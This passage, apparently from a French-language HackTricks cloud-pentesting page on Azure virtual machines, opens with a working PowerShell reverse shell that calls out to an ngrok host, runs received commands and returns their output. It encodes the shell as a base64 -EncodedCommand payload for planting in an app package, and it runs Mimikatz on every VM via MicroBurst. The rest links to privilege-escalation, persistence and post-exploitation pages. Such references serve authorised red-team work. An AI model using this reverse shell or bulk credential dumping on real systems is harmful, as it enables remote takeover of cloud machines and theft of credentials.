--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}

## Escalade de privilèges

{{#ref}}
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}

## Accès non authentifié

{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}

## Post-exploitation

{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}

## Persistance

{{#ref}}
../../az-persistence/az-vms-persistence.md
{{#endref}}

## Références

- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)

{{#include ../../../../banners/hacktricks-training.md}}
